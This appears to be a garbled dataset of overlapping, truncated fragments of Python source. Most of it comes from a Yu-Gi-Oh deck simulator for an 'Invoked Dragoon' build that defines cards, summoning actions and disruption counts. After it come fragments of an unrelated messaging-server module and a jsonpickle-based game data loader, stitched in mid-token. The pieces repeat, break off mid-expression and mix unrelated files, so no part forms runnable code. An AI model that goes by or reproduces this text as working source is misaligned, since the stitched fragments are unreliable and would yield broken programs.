"grave_target) elif field_target := self.select_invocation_banish_from_field(game): game.move(game.monsters, game.banished, field_target) else: return None game.move(game.hand, game.grave,",
"game.use_hopt(self.terraforming) return game def action_use_set_rotation(self, game: Game) -> Optional[Game]: if self.set_rotation in game.hand:",
"game.move(game.extra_deck, game.monsters, self.verte) return game def action_use_verte(self, game: Game) -> Optional[Game]: if (",
"terraforming = Card(\"Terraforming\", CardType.SPELL) # Extenders jester = Card(\"Jester Confit\", CardType.MONSTER) souls =",
"Optional[Game]: if ( self.lightstage in game.hand and any(card in game.deck for card in",
"game.move(game.deck, game.hand, self.corobane) return game def action_summon_mechaba(self, game: Game) -> Optional[Game]: if (",
"self.jester in game.hand and game.hopt_available(self.jester) and game.resource_available(\"summon\") ): game.move(game.hand, game.monsters, self.jester) game.use_hopt(self.jester) return",
"self.terraforming) game.move(game.deck, game.hand, target) game.use_hopt(self.terraforming) return game def action_use_set_rotation(self, game: Game) -> Optional[Game]:",
"elif self.candina in game.deck: game.move(game.deck, game.hand, self.candina) return game else: game.move(game.hand, game.backrow, self.lightstage)",
"else: game.disruptions.add(Disruption(repr(card), 1)) if pure_distruptions >= 3: game.add_flag(\"3+ disruptions\") if pure_distruptions < 3",
"going_second = (duster, mind_control) verte_materials = ( aleister, candina, corobane, souls, jester, fleur,",
"else: redundant_cards[card] = 2 elif count == 2: if card in self.not_opt: redundant_cards[card]",
"stage for corobane if self.lightstage in game.deck: my_card = self.lightstage if self.meltdown in",
"if self.corobane in game.deck: game.move(game.deck, game.hand, self.corobane) elif self.candina in game.deck: game.move(game.deck, game.hand,",
"game.deck elif self.dm in game.hand: dm_location = game.hand if self.red_eyes in game.deck: red_eyes_location",
"CardType.SPELL) # Draw desires = Card(\"Pot of Desires\", CardType.SPELL) upstart = Card(\"Upstart Goblin\",",
"-> Optional[Game]: if ( self.souls in game.hand and game.hopt_available(self.souls, \"summon\") and game.resource_available(\"summon\") ):",
"game def action_use_lightstage(self, game: Game) -> Optional[Game]: if ( self.lightstage in game.hand and",
"game.hand: if card in self.hand_traps: if card == self.gamma and self.driver in game.banished:",
"verte = Card(\"Predaplant Verte Anaconda\", CardType.EXTRA_DECK) dragoon = Card(\"Red-Eyes Dark Dragoon\", CardType.EXTRA_DECK) #",
"path to aleister. give them meltdown and take stage for corobane if self.lightstage",
"game.hopt_available(self.invocation, \"recycle\"): game.use_hopt(self.invocation, \"recycle\") game.move(game.grave, game.deck, self.invocation) game.move(game.banished, game.hand, self.aleister) game.deck.shuffle() return game",
"Card(\"Nibiru, the Primal Being\", CardType.MONSTER) ash = Card(\"Ash Blossom & Joyous Spring\", CardType.MONSTER)",
"Game): return game def endphase(self, game: Game): for card in game.hand.cards[:]: # make",
"self.mechaba in game.extra_deck and game.resource_available(\"summon\") ): if self.aleister in game.grave: game.move(game.grave, game.banished, self.aleister)",
"CardGroup, CardType, DeckList, Disruption, Manager, Card, Game class InvokedDragoonManager(Manager): # Invoked aleister =",
"in materials: game.move(game.monsters, game.grave, material) game.move(game.extra_deck, game.monsters, self.verte) return game def action_use_verte(self, game:",
"self.aleister) game.move(game.extra_deck, game.monsters, self.almiraj) return game def action_summon_gardna(self, game: Game) -> Optional[Game]: if",
"Meister\", CardType.MONSTER) imperm = Card(\"Infinite Impermanence\", CardType.TRAP) # Dragoons dm = Card(\"Dark Magician\",",
"game.move(game.hand, game.backrow, card) # Process Disruptions pure_distruptions = 0 if self.dragoon in game.monsters",
"game.hand, self.invocation) game.use_hopt(self.aleister) return game def action_summon_artemis(self, game: Game) -> Optional[Game]: if self.artemis",
"( (almiraj, 1), (artemis, 1), (gardna, 1), (mechaba, 2), (purgatrio, 1), (augoeides, 1),",
"game.hand) ): return self.lightstage elif self.meltdown in game.deck: return self.meltdown elif self.lightstage in",
"Disruptions\", cls.percent_with_flags(end_games, [\"3+ disruptions\"])], [\"Bricks\", cls.percent_with_flags(end_games, [\"brick\"])], ] def postprocess(self, game: Game): return",
"(candina, 1), (corobane, 1), (lightstage, 1), # (upstart, 1), (cyclone, 2), (judgment, 2),",
"( (aleister, 3), (invocation, 2), (meltdown, 3), (terraforming, 1), (prison, 2), (imperm, 3),",
"not fodder: return None while fodder: game.move(game.hand, game.grave, fodder.pop()) game.draw() return game def",
"game.hand and game.hopt_available(self.corobane) and not game.monsters.cards and game.resource_available(\"summon\") ): game.move(game.hand, game.monsters, self.corobane) game.use_hopt(self.corobane)",
"game.grave, self.ref) game.move(dm_location, game.grave, self.dm) game.move(red_eyes_location, game.grave, self.red_eyes) game.move(game.extra_deck, game.monsters, self.dragoon) game.use_resource(\"summon\") return",
"if include_useful: return to_return else: return [card for card in to_return if redundant_cards[card]",
"CardType.EXTRA_DECK) gardna = Card(\"Secure Gardna\", CardType.EXTRA_DECK) artemis = Card(\"Artemis, the Magistus Moon Maiden\",",
"self.aleister) return game def action_summon_aleister(self, game: Game) -> Optional[Game]: if ( self.aleister in",
"game.draw() return game def action_summon_jester(self, game: Game) -> Optional[Game]: if ( self.jester in",
"game.use_hopt(self.meltdown) if self.aleister in game.deck: game.move(game.deck, game.hand, self.aleister) return game def action_summon_aleister(self, game:",
"game.move(game.monsters, game.grave, self.aleister) elif self.jester in game.monsters: game.move(game.monsters, game.grave, self.jester) elif self.souls in",
"# Misc fleur = Card(\"<NAME>, the Knighted\", CardType.MONSTER) droplet = Card(\"Forbidden Droplet\", CardType.SPELL)",
"game.deck and self.lightstage not in game.hand and not (self.corobane in game.hand and self.candina",
"(corobane, 1), (lightstage, 1), # (upstart, 1), (cyclone, 2), (judgment, 2), (upstart, 1),",
"aleister, candina, corobane, souls, jester, fleur, ) # artemis, almiraj, gardna? standard_decklist =",
"and opp_card): return None else: game.use_resource(\"activate field spell\") game.move(game.hand, game.grave, self.set_rotation) game.move(game.deck, game.backrow,",
"elif count == 2: if card in self.not_opt: redundant_cards[card] = 1 else: redundant_cards[card]",
"( self.invocation in game.hand and self.mechaba in game.extra_deck and game.resource_available(\"summon\") ): if self.aleister",
"materials: game.move(game.monsters, game.grave, material) game.move(game.extra_deck, game.monsters, self.verte) return game def action_use_verte(self, game: Game)",
"by the Grave\", CardType.SPELL) cyclone = Card(\"Cosmic Cyclone\", CardType.SPELL) duster = Card(\"Harpie's Feather",
"if self.aleister in game.monsters: game.move(game.monsters, game.grave, self.aleister) elif self.jester in game.monsters: game.move(game.monsters, game.grave,",
"game.add_flag(\"mechaba\") if card.card_type == CardType.MONSTER: game.disruptions.add(self.disr_mechaba_m) elif card.card_type == CardType.SPELL: game.disruptions.add(self.disr_mechaba_s) elif card.card_type",
"gardna = Card(\"Secure Gardna\", CardType.EXTRA_DECK) artemis = Card(\"Artemis, the Magistus Moon Maiden\", CardType.EXTRA_DECK)",
"game.monsters and game.resource_available(\"summon\") ): game.move(game.monsters, game.grave, self.aleister) game.move(game.extra_deck, game.monsters, self.almiraj) return game def",
"): dump_target = self.select_souls_dump(game) if not dump_target: return None game.move(game.deck, game.grave, dump_target) game.move(game.hand,",
"game.deck: my_card = self.meltdown if self.lightstage in game.deck: opp_card = self.lightstage return my_card,",
"return game def action_summon_aleister(self, game: Game) -> Optional[Game]: if ( self.aleister in game.hand",
"self.aleister) else: return None if grave_target := self.select_invocation_banish_from_grave(game): game.move(game.grave, game.banished, grave_target) elif field_target",
"( self.meltdown in game.deck and game.hopt_available(self.meltdown) and self.meltdown not in game.hand and self.aleister",
"summon\") if self.invocation in game.deck: game.move(game.deck, game.hand, self.invocation) game.use_hopt(self.aleister) return game def action_summon_artemis(self,",
"if ( self.jester in game.hand and game.hopt_available(self.jester) and game.resource_available(\"summon\") ): game.move(game.hand, game.monsters, self.jester)",
"return game def action_use_verte(self, game: Game) -> Optional[Game]: if ( self.verte in game.monsters",
"in self.not_opt: redundant_cards[card] = 1 else: redundant_cards[card] = 2 else: redundant_cards[card] = 3",
"if ( self.corobane in game.hand and game.hopt_available(self.corobane) and not game.monsters.cards and game.resource_available(\"summon\") ):",
"game.add_flag(\"3+ disruptions\") if pure_distruptions < 3 and not game.has_flag(\"dragoon\"): game.add_flag(\"brick\") return game def",
"sorted( redundant_cards.keys(), key=lambda x: redundant_cards[x], reverse=True ) if include_useful: return to_return else: return",
"(almiraj, 1), (artemis, 1), (gardna, 1), (mechaba, 2), (purgatrio, 1), (augoeides, 1), (omega,",
"or self.aleister in game.hand: # we have a path to aleister. give them",
"CardType.EXTRA_DECK) mechaba = Card(\"Invoked Mechaba\", CardType.EXTRA_DECK) augoeides = Card(\"Invoked Augoeides\", CardType.EXTRA_DECK) purgatrio =",
"= Disruption(f\"{repr(mechaba)} (T)\", 0) disr_prison = Disruption(repr(prison), 2) disr_judgment = Disruption(repr(judgment), 2) disr_aleister",
"= ( aleister, candina, corobane, souls, jester, fleur, ) # artemis, almiraj, gardna?",
"else: return [card for card in to_return if redundant_cards[card] > 1] def find_dragoons_materials(",
"= None, None if self.dm in game.deck: dm_location = game.deck elif self.dm in",
"CardType.MONSTER) corobane = Card(\"Trickstar Corobane\", CardType.MONSTER) lightstage = Card(\"Trickstar Lightstage\", CardType.SPELL) set_rotation =",
"game.disruptions.add(self.disr_judgment) else: game.disruptions.add(Disruption(repr(card), 1)) if pure_distruptions >= 3: game.add_flag(\"3+ disruptions\") if pure_distruptions <",
"game.use_hopt(self.aleister) return game def action_summon_artemis(self, game: Game) -> Optional[Game]: if self.artemis in game.extra_deck",
"game.monsters, self.aleister) game.use_resource(\"normal summon\") if self.invocation in game.deck: game.move(game.deck, game.hand, self.invocation) game.use_hopt(self.aleister) return",
"to_return = sorted( redundant_cards.keys(), key=lambda x: redundant_cards[x], reverse=True ) if include_useful: return to_return",
"elif self.jester in game.monsters: game.move(game.monsters, game.grave, self.jester) elif self.souls in game.monsters: game.move(game.monsters, game.grave,",
"self, game: Game ) -> Tuple[Optional[CardGroup], Optional[CardGroup]]: dm_location, red_eyes_location = None, None if",
"game.use_hopt(self.corobane) return game def action_normal_summon_candina(self, game: Game) -> Optional[Game]: if ( self.candina in",
"= {} # higher value means more redundant hand = game.hand.cards[:] for card",
"and any(card.card_type == CardType.EXTRA_DECK for card in game.monsters) ): game.move(game.hand, game.monsters, self.fleur) return",
"return fodder def select_terraforming_target(self, game: Game) -> Optional[Card]: if ( self.meltdown in game.deck",
"(dm_location and red_eyes_location): return None game.move(game.hand, game.grave, self.ref) game.move(dm_location, game.grave, self.dm) game.move(red_eyes_location, game.grave,",
"self.verte) return game def action_use_verte(self, game: Game) -> Optional[Game]: if ( self.verte in",
"end_games: List[Game]) -> List[List[str]]: return [ [\"Dragoon\", cls.percent_with_flags(end_games, [\"dragoon\"])], [\"Mechaba\", cls.percent_with_flags(end_games, [\"mechaba\"])], [\"Both\",",
"return None else: game.use_resource(\"activate field spell\") game.move(game.hand, game.grave, self.set_rotation) game.move(game.deck, game.backrow, my_card) game.deck.cards.remove(opp_card)",
"1), (lightstage, 1), # (upstart, 1), (cyclone, 2), (judgment, 2), (upstart, 1), (duster,",
"self.artemis in game.extra_deck and game.resource_available(\"summon\"): if self.aleister in game.monsters: game.move(game.monsters, game.grave, self.aleister) elif",
"Gamma\", CardType.MONSTER) driver = Card(\"PSY-Frame Driver\", CardType.MONSTER) crow = Card(\"D.D. Crow\", CardType.MONSTER) belle",
"game.hand, target) game.use_hopt(self.terraforming) return game def action_use_set_rotation(self, game: Game) -> Optional[Game]: if self.set_rotation",
"game: Game) -> Optional[Game]: if ( self.almiraj in game.extra_deck and self.aleister in game.monsters",
"self.aleister in game.hand: game.move(game.hand, game.backrow, self.lightstage) # search corobane, alesiter will be normaled",
"return [ [\"Dragoon\", cls.percent_with_flags(end_games, [\"dragoon\"])], [\"Mechaba\", cls.percent_with_flags(end_games, [\"mechaba\"])], [\"Both\", cls.percent_with_flags(end_games, [\"dragoon\", \"mechaba\"])], [\"3+",
"game.use_resource(\"normal summon\") game.move(game.hand, game.monsters, self.jester) return game def action_summon_corobane(self, game: Game) -> Optional[Game]:",
"corobane if self.lightstage in game.deck: my_card = self.lightstage if self.meltdown in game.deck: opp_card",
"and not game.has_flag(\"dragoon\"): game.add_flag(\"brick\") return game def get_redundant_cards_in_hand( self, game: Game, include_useful: bool",
"self.verte_materials: materials.append(card) if len(materials) < 2: return None for material in materials: game.move(game.monsters,",
"summon\") game.move(game.hand, game.monsters, self.jester) return game def action_summon_corobane(self, game: Game) -> Optional[Game]: if",
"= self.get_redundant_cards_in_hand(game, include_useful=False) while cards and len(fodder) < count: card = cards.pop() if",
"game.monsters, self.mechaba) if game.hopt_available(self.invocation, \"recycle\"): game.use_hopt(self.invocation, \"recycle\") game.move(game.grave, game.deck, self.invocation) game.move(game.banished, game.hand, self.aleister)",
"game.hand: game.move(game.hand, game.backrow, self.lightstage) # search corobane, alesiter will be normaled if self.corobane",
"return game def action_normal_summon_candina(self, game: Game) -> Optional[Game]: if ( self.candina in game.hand",
"game.hopt_available(card): redundant_cards[card] = 0 else: redundant_cards[card] = 2 elif count == 2: if",
"& Lock Bird\", CardType.MONSTER) veiler = Card(\"Effect Veiler\", CardType.MONSTER) gamma = Card(\"PSY-Framegear Gamma\",",
"def select_invocation_banish_from_grave(self, game: Game) -> Optional[Card]: return game.grave.get_any(self.light_monsters) def select_invocation_banish_from_field(self, game: Game) ->",
"game.deck and self.dragoon in game.extra_deck ): dm_location, red_eyes_location = self.find_dragoons_materials(game) if not (dm_location",
"souls, jester, fleur, ) # artemis, almiraj, gardna? standard_decklist = DeckList( ( (aleister,",
"1), (red_eyes, 2), (ref, 3), (magicalized_fusion, 1), (candina, 1), (corobane, 1), (lightstage, 1),",
"select_souls_fodder(self, game: Game, count: int) -> List[Card]: fodder = [] cards = self.get_redundant_cards_in_hand(game,",
"None game.move(game.hand, game.grave, self.invocation) game.move(game.extra_deck, game.monsters, self.mechaba) if game.hopt_available(self.invocation, \"recycle\"): game.use_hopt(self.invocation, \"recycle\") game.move(game.grave,",
"Duster\", CardType.SPELL) mind_control = Card(\"Mind Control\", CardType.SPELL) prison = Card(\"Ice Dragon's Prison\", CardType.TRAP)",
"Disruption(f\"{repr(mechaba)} (T)\", 0) disr_prison = Disruption(repr(prison), 2) disr_judgment = Disruption(repr(judgment), 2) disr_aleister =",
"self.meltdown in game.hand and game.hopt_available(self.meltdown) and game.resource_available(\"activate field spell\") ): game.move(game.hand, game.backrow, self.meltdown)",
"in game.hand: game.move(game.hand, game.backrow, self.lightstage) # search corobane, alesiter will be normaled if",
"card in [self.corobane, self.candina]) and game.resource_available(\"activate field spell\") ): if self.meltdown in game.hand",
"(imperm, 3), (ash, 3), (souls, 3), (dm, 2), # (fleur, 1), (red_eyes, 2),",
"self.souls in game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.use_resource(\"normal summon\") game.move(game.hand, game.monsters,",
"( self.jester in game.hand and game.hopt_available(self.jester) and game.resource_available(\"summon\") ): game.move(game.hand, game.monsters, self.jester) game.use_hopt(self.jester)",
"= (ash, ogre, veiler, imperm, nibiru, droll, crow, belle, meister, gamma) protection =",
"not in game.hand and self.aleister not in game.hand ): return self.meltdown elif (",
"game.banished, field_target) else: return None game.move(game.hand, game.grave, self.invocation) game.move(game.extra_deck, game.monsters, self.mechaba) if game.hopt_available(self.invocation,",
"card == self.prison: game.disruptions.add(self.disr_prison) elif card == self.judgment: game.disruptions.add(self.disr_judgment) else: game.disruptions.add(Disruption(repr(card), 1)) if",
"if ( self.souls in game.hand and game.hopt_available(self.souls, \"summon\") and game.resource_available(\"summon\") ): dump_target =",
"game.banished, grave_target) elif field_target := self.select_invocation_banish_from_field(game): game.move(game.monsters, game.banished, field_target) else: return None game.move(game.hand,",
"game.draw() return game def action_use_terraforming(self, game: Game) -> Optional[Game]: if self.terraforming in game.hand",
"artemis = Card(\"Artemis, the Magistus Moon Maiden\", CardType.EXTRA_DECK) mechaba = Card(\"Invoked Mechaba\", CardType.EXTRA_DECK)",
"None, None if self.meltdown in game.hand or self.aleister in game.hand: # we have",
"return None def select_souls_fodder(self, game: Game, count: int) -> List[Card]: fodder = []",
"( self.meltdown in game.hand and game.hopt_available(self.meltdown) and game.resource_available(\"activate field spell\") ): game.move(game.hand, game.backrow,",
"= Card(\"D.D. Crow\", CardType.MONSTER) belle = Card(\"Ghost Belle & Haunted Mansion\", CardType.MONSTER) meister",
"card in to_return if redundant_cards[card] > 1] def find_dragoons_materials( self, game: Game )",
"return game else: game.move(game.hand, game.backrow, self.lightstage) # search candina to normal if self.candina",
"self.meltdown) game.draw() fodder = self.select_souls_fodder(game, 1) if fodder: game.move(game.hand, game.grave, fodder[0]) game.draw() else:",
"): game.move(game.hand, game.backrow, self.meltdown) game.use_hopt(self.meltdown) if self.aleister in game.deck: game.move(game.deck, game.hand, self.aleister) return",
"Cyclone\", CardType.SPELL) duster = Card(\"Harpie's Feather Duster\", CardType.SPELL) mind_control = Card(\"Mind Control\", CardType.SPELL)",
"self.gardna) return game def action_summon_souls(self, game: Game) -> Optional[Game]: if ( self.souls in",
"Game) -> Optional[Game]: if self.verte in game.extra_deck and game.resource_available(\"summon\"): materials = [] monsters",
"CardType.MONSTER) imperm = Card(\"Infinite Impermanence\", CardType.TRAP) # Dragoons dm = Card(\"Dark Magician\", CardType.MONSTER)",
"summon\") game.move(game.hand, game.monsters, self.souls) return game def action_use_souls(self, game: Game) -> Optional[Game]: if",
"game.move(game.deck, game.hand, self.lightstage) elif self.corobane in game.deck: game.move(game.deck, game.hand, self.corobane) return game def",
"action_summon_artemis(self, game: Game) -> Optional[Game]: if self.artemis in game.extra_deck and game.resource_available(\"summon\"): if self.aleister",
"Black Dragon\", CardType.MONSTER) ref = Card(\"Red-Eyes Fusion\", CardType.SPELL) magicalized_fusion = Card(\"Magicalized Fusion\", CardType.SPELL)",
"if card in self.cards_to_set: pure_distruptions += 1 if card == self.prison: game.disruptions.add(self.disr_prison) elif",
"self.aleister in game.monsters: game.move(game.monsters, game.banished, self.aleister) else: return None if grave_target := self.select_invocation_banish_from_grave(game):",
"(judgment, droplet, called, imperm, prison, cyclone) discards = (driver, duster, mind_control, upstart, cyclone)",
"self.aleister) elif self.jester in game.monsters: game.move(game.monsters, game.grave, self.jester) elif self.souls in game.monsters: game.move(game.monsters,",
"we have a path to aleister. give them meltdown and take stage for",
"card in self.cards_to_set: pure_distruptions += 1 if card == self.prison: game.disruptions.add(self.disr_prison) elif card",
"to_return if redundant_cards[card] > 1] def find_dragoons_materials( self, game: Game ) -> Tuple[Optional[CardGroup],",
"game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.use_resource(\"normal summon\") game.move(game.hand, game.monsters, self.candina) if",
"def select_terraforming_target(self, game: Game) -> Optional[Card]: if ( self.meltdown in game.deck and game.hopt_available(self.meltdown)",
"( aleister, candina, corobane, souls, jester, fleur, ) # artemis, almiraj, gardna? standard_decklist",
"dump_target) game.move(game.hand, game.monsters, self.souls) game.use_hopt(self.souls, \"summon\") return game def action_normal_summon_souls(self, game: Game) ->",
"######### # Selects ######### def select_invocation_banish_from_grave(self, game: Game) -> Optional[Card]: return game.grave.get_any(self.light_monsters) def",
"self.lightstage else: return None def select_set_rotation_targets(self, game: Game) -> List[Card]: my_card, opp_card =",
"# Trickstar Engine candina = Card(\"Trickstar Candina\", CardType.MONSTER) corobane = Card(\"Trickstar Corobane\", CardType.MONSTER)",
"= Disruption(f\"{repr(mechaba)} (M)\", 2) disr_mechaba_s = Disruption(f\"{repr(mechaba)} (S)\", 0) disr_mechaba_t = Disruption(f\"{repr(mechaba)} (T)\",",
"Helpers ######### @classmethod def generate_stats(cls, end_games: List[Game]) -> List[List[str]]: return [ [\"Dragoon\", cls.percent_with_flags(end_games,",
"game.hand.cards[:]: # make a copy so we can modify hand if card in",
"game.disruptions.add(Disruption(repr(card), 1)) if pure_distruptions >= 3: game.add_flag(\"3+ disruptions\") if pure_distruptions < 3 and",
"game.hand and game.resource_available(\"normal summon\") and game.resource_available(\"summon\") ): game.use_resource(\"normal summon\") game.move(game.hand, game.monsters, self.souls) return",
"game.move(game.deck, game.grave, dump_target) game.move(game.hand, game.monsters, self.souls) game.use_hopt(self.souls, \"summon\") return game def action_normal_summon_souls(self, game:",
"game.deck.cards.remove(opp_card) return game def action_use_meltdown(self, game: Game) -> Optional[Game]: if ( self.meltdown in",
"self.souls) else: return None game.move(game.extra_deck, game.monsters, self.artemis) return game def action_summon_almiraj(self, game: Game)",
"= self.select_souls_fodder(game, 2) if not fodder: return None while fodder: game.move(game.hand, game.grave, fodder.pop())",
"self.corobane in game.hand and game.hopt_available(self.corobane) and not game.monsters.cards and game.resource_available(\"summon\") ): game.move(game.hand, game.monsters,",
"and self.meltdown not in game.hand and self.aleister not in game.hand ): return self.meltdown",
"self.aleister) game.use_resource(\"normal summon\") if self.invocation in game.deck: game.move(game.deck, game.hand, self.invocation) game.use_hopt(self.aleister) return game",
"< 2: return None for material in materials: game.move(game.monsters, game.grave, material) game.move(game.extra_deck, game.monsters,",
"card in game.hand: game.add_flag(\"mechaba\") if card.card_type == CardType.MONSTER: game.disruptions.add(self.disr_mechaba_m) elif card.card_type == CardType.SPELL:",
"Card(\"Skull Meister\", CardType.MONSTER) imperm = Card(\"Infinite Impermanence\", CardType.TRAP) # Dragoons dm = Card(\"Dark",
"in game.deck: game.move(game.deck, game.hand, self.candina) return game else: game.move(game.hand, game.backrow, self.lightstage) # search",
"= Card(\"Magical Meltdown\", CardType.SPELL) terraforming = Card(\"Terraforming\", CardType.SPELL) # Extenders jester = Card(\"Jester",
"self.verte in game.extra_deck and game.resource_available(\"summon\"): materials = [] monsters = game.monsters.cards[:] while len(materials)",
"for material in materials: game.move(game.monsters, game.grave, material) game.move(game.extra_deck, game.monsters, self.verte) return game def",
"Game) -> Optional[Game]: if self.set_rotation in game.hand: my_card, opp_card = self.select_set_rotation_targets(game) if not",
"game.move(game.hand, game.grave, fodder[0]) game.draw() else: fodder = self.select_souls_fodder(game, 2) if not fodder: return",
"\"summon\") and game.resource_available(\"summon\") ): dump_target = self.select_souls_dump(game) if not dump_target: return None game.move(game.deck,",
"count: int) -> List[Card]: fodder = [] cards = self.get_redundant_cards_in_hand(game, include_useful=False) while cards",
"and len(game.deck) > 1: game.move(game.hand, game.grave, self.upstart) game.draw() return game def action_use_terraforming(self, game:",
"fodder[0]) game.draw() else: fodder = self.select_souls_fodder(game, 2) if not fodder: return None while",
"field spell\") game.move(game.hand, game.grave, self.set_rotation) game.move(game.deck, game.backrow, my_card) game.deck.cards.remove(opp_card) return game def action_use_meltdown(self,"
] |
[
"SERVER_LABEL_NAMES = ( # Input. 'server', ) def define_server(module_path=None): module_path = module_path or",
"= ( # Input. 'server', ) def define_server(module_path=None): module_path = module_path or inprocs.__name__",
"<filename>py/g1/messaging/g1/messaging/parts/inprocs.py from g1.bases import labels from ..reqrep import inprocs SERVER_LABEL_NAMES = ( #",
"from ..reqrep import inprocs SERVER_LABEL_NAMES = ( # Input. 'server', ) def define_server(module_path=None):",
"Input. 'server', ) def define_server(module_path=None): module_path = module_path or inprocs.__name__ module_labels = labels.make_labels(module_path,",
"define_server(module_path=None): module_path = module_path or inprocs.__name__ module_labels = labels.make_labels(module_path, *SERVER_LABEL_NAMES) setup_server(module_labels) return module_labels",
"'server', ) def define_server(module_path=None): module_path = module_path or inprocs.__name__ module_labels = labels.make_labels(module_path, *SERVER_LABEL_NAMES)",
"inprocs.__name__ module_labels = labels.make_labels(module_path, *SERVER_LABEL_NAMES) setup_server(module_labels) return module_labels def setup_server(module_labels): del module_labels #",
"or inprocs.__name__ module_labels = labels.make_labels(module_path, *SERVER_LABEL_NAMES) setup_server(module_labels) return module_labels def setup_server(module_labels): del module_labels",
"from g1.bases import labels from ..reqrep import inprocs SERVER_LABEL_NAMES = ( # Input.",
"module_labels = labels.make_labels(module_path, *SERVER_LABEL_NAMES) setup_server(module_labels) return module_labels def setup_server(module_labels): del module_labels # Unused.",
") def define_server(module_path=None): module_path = module_path or inprocs.__name__ module_labels = labels.make_labels(module_path, *SERVER_LABEL_NAMES) setup_server(module_labels)",
"import labels from ..reqrep import inprocs SERVER_LABEL_NAMES = ( # Input. 'server', )",
"module_path = module_path or inprocs.__name__ module_labels = labels.make_labels(module_path, *SERVER_LABEL_NAMES) setup_server(module_labels) return module_labels def",
"inprocs SERVER_LABEL_NAMES = ( # Input. 'server', ) def define_server(module_path=None): module_path = module_path",
"# Input. 'server', ) def define_server(module_path=None): module_path = module_path or inprocs.__name__ module_labels =",
"= module_path or inprocs.__name__ module_labels = labels.make_labels(module_path, *SERVER_LABEL_NAMES) setup_server(module_labels) return module_labels def setup_server(module_labels):",
"module_path or inprocs.__name__ module_labels = labels.make_labels(module_path, *SERVER_LABEL_NAMES) setup_server(module_labels) return module_labels def setup_server(module_labels): del",
"..reqrep import inprocs SERVER_LABEL_NAMES = ( # Input. 'server', ) def define_server(module_path=None): module_path",
"import inprocs SERVER_LABEL_NAMES = ( # Input. 'server', ) def define_server(module_path=None): module_path =",
"def define_server(module_path=None): module_path = module_path or inprocs.__name__ module_labels = labels.make_labels(module_path, *SERVER_LABEL_NAMES) setup_server(module_labels) return",
"g1.bases import labels from ..reqrep import inprocs SERVER_LABEL_NAMES = ( # Input. 'server',",
"labels from ..reqrep import inprocs SERVER_LABEL_NAMES = ( # Input. 'server', ) def",
"( # Input. 'server', ) def define_server(module_path=None): module_path = module_path or inprocs.__name__ module_labels"
] |
[
"loading and in-memory storage of all of the pre-defined game data. :author: <NAME>",
"= {} Language_Map = {} def load_language_map(filepath): f = open(filepath, \"r\") Language_Map.update(json.load(f)) f.close()",
"load_tutorial_game(tutorial_filepath): f = gzip.open(tutorial_filepath, \"rb\") contents = f.read() f.close() game = jsonpickle.decode(contents, keys=True)",
"= gzip.open(filepath, \"rb\") contents = f.read() f.close() Technologies.update(jsonpickle.decode(contents, keys=True)) def load_tutorial_game(tutorial_filepath): f =",
"jsonpickle import gzip Technologies = {} Language_Map = {} def load_language_map(filepath): f =",
"of the pre-defined game data. :author: <NAME> :license: MIT, see LICENSE.txt for more",
"def load_technologies(filepath): f = gzip.open(filepath, \"rb\") contents = f.read() f.close() Technologies.update(jsonpickle.decode(contents, keys=True)) def",
"= {} def load_language_map(filepath): f = open(filepath, \"r\") Language_Map.update(json.load(f)) f.close() def load_technologies(filepath): f",
"import jsonpickle import gzip Technologies = {} Language_Map = {} def load_language_map(filepath): f",
"Technologies = {} Language_Map = {} def load_language_map(filepath): f = open(filepath, \"r\") Language_Map.update(json.load(f))",
":author: <NAME> :license: MIT, see LICENSE.txt for more details. \"\"\" import json import",
"\"\"\" import json import jsonpickle import gzip Technologies = {} Language_Map = {}",
"{} Language_Map = {} def load_language_map(filepath): f = open(filepath, \"r\") Language_Map.update(json.load(f)) f.close() def",
"pre-defined game data. :author: <NAME> :license: MIT, see LICENSE.txt for more details. \"\"\"",
"more details. \"\"\" import json import jsonpickle import gzip Technologies = {} Language_Map",
"\"\"\" data.py Contains and owns the loading and in-memory storage of all of",
"def load_language_map(filepath): f = open(filepath, \"r\") Language_Map.update(json.load(f)) f.close() def load_technologies(filepath): f = gzip.open(filepath,",
"\"r\") Language_Map.update(json.load(f)) f.close() def load_technologies(filepath): f = gzip.open(filepath, \"rb\") contents = f.read() f.close()",
"contents = f.read() f.close() Technologies.update(jsonpickle.decode(contents, keys=True)) def load_tutorial_game(tutorial_filepath): f = gzip.open(tutorial_filepath, \"rb\") contents",
"Contains and owns the loading and in-memory storage of all of the pre-defined",
"f.close() def load_technologies(filepath): f = gzip.open(filepath, \"rb\") contents = f.read() f.close() Technologies.update(jsonpickle.decode(contents, keys=True))",
"LICENSE.txt for more details. \"\"\" import json import jsonpickle import gzip Technologies =",
"open(filepath, \"r\") Language_Map.update(json.load(f)) f.close() def load_technologies(filepath): f = gzip.open(filepath, \"rb\") contents = f.read()",
"f.read() f.close() Technologies.update(jsonpickle.decode(contents, keys=True)) def load_tutorial_game(tutorial_filepath): f = gzip.open(tutorial_filepath, \"rb\") contents = f.read()",
"f = gzip.open(filepath, \"rb\") contents = f.read() f.close() Technologies.update(jsonpickle.decode(contents, keys=True)) def load_tutorial_game(tutorial_filepath): f",
"see LICENSE.txt for more details. \"\"\" import json import jsonpickle import gzip Technologies",
"MIT, see LICENSE.txt for more details. \"\"\" import json import jsonpickle import gzip",
"details. \"\"\" import json import jsonpickle import gzip Technologies = {} Language_Map =",
"load_language_map(filepath): f = open(filepath, \"r\") Language_Map.update(json.load(f)) f.close() def load_technologies(filepath): f = gzip.open(filepath, \"rb\")",
"= f.read() f.close() Technologies.update(jsonpickle.decode(contents, keys=True)) def load_tutorial_game(tutorial_filepath): f = gzip.open(tutorial_filepath, \"rb\") contents =",
"f.close() Technologies.update(jsonpickle.decode(contents, keys=True)) def load_tutorial_game(tutorial_filepath): f = gzip.open(tutorial_filepath, \"rb\") contents = f.read() f.close()",
"Technologies.update(jsonpickle.decode(contents, keys=True)) def load_tutorial_game(tutorial_filepath): f = gzip.open(tutorial_filepath, \"rb\") contents = f.read() f.close() game",
"\"rb\") contents = f.read() f.close() Technologies.update(jsonpickle.decode(contents, keys=True)) def load_tutorial_game(tutorial_filepath): f = gzip.open(tutorial_filepath, \"rb\")",
"and owns the loading and in-memory storage of all of the pre-defined game",
"f = gzip.open(tutorial_filepath, \"rb\") contents = f.read() f.close() game = jsonpickle.decode(contents, keys=True) return",
"for more details. \"\"\" import json import jsonpickle import gzip Technologies = {}",
"the pre-defined game data. :author: <NAME> :license: MIT, see LICENSE.txt for more details.",
"= open(filepath, \"r\") Language_Map.update(json.load(f)) f.close() def load_technologies(filepath): f = gzip.open(filepath, \"rb\") contents =",
